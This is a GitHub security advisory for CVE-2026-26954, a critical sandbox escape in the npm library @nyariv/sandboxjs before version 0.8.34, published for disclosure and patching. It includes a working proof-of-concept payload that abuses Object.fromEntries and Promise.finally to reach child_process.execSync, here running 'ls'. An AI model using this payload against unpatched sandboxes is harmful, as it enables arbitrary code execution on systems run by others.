GitHub Advisoryadvisory · npm
GHSA-6r9f-759j-hjgv SandboxJS affected by a Sandbox Escape
CRITICAL
Official page ↗
- Aliases
- CVE-2026-26954
- Ecosystem
- npm
- Packages
- @nyariv/sandboxjs
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-03-13
Affected packages
• npm @nyariv/sandboxjs: < 0.8.34 → fixed in 0.8.34
Description
Summary
It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.
Details
There are various ways to get an array containing `Function`, e.g.
```js
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
```
Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.
PoC
```js
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();
```
Impact
Sandbox Escape -> RCE
Related
Alias · CVE (1)
- CVE-2026-26954 SandboxJS is a JavaScript sandboxing library. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-26954 advisory
- https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085 web
- https://github.com/nyariv/SandboxJS package
- https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34 web